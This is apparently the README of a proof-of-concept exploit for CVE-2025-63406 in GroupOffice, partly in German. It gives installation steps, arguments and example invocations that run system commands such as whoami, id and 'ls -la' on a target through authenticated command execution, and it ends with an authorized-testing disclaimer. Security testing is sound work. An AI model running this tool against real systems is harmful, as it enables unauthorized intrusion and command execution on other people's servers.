CVE-2025-63406 PoC

Installation

# Install dependencies
pip install -r requirements.txt

# Or use a virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

Verwendung

python3 CVE-2025-63406.py -u <URL> -n <USERNAME> -p <PASSWORD> -c <COMMAND>

Argumente

-u, --url: Basis-URL der GroupOffice-Instanz (z. B. http://localhost:9090)
-n, --username: Benutzername für die Authentifizierung
-p, --password: Passwort für die Authentifizierung
-c, --command: Systembefehl, der ausgeführt werden soll (z. B. whoami, id, ls -la)

Beispiele

# Execute whoami command
python3 CVE-2025-63406.py -u http://localhost:9090 -n admin -p password -c whoami

# Execute id command
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c id

# List files in current directory
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "ls -la"

# Get system information
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "uname -a"

PoC in Verwendung mit id-Befehl PoC in Verwendung mit "uname -a"-Befehl

Haftungsausschluss

⚠️ Dieses Tool ist nur für autorisierte Tests bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal.

CVE-2025-63406-PoC

Beliebteste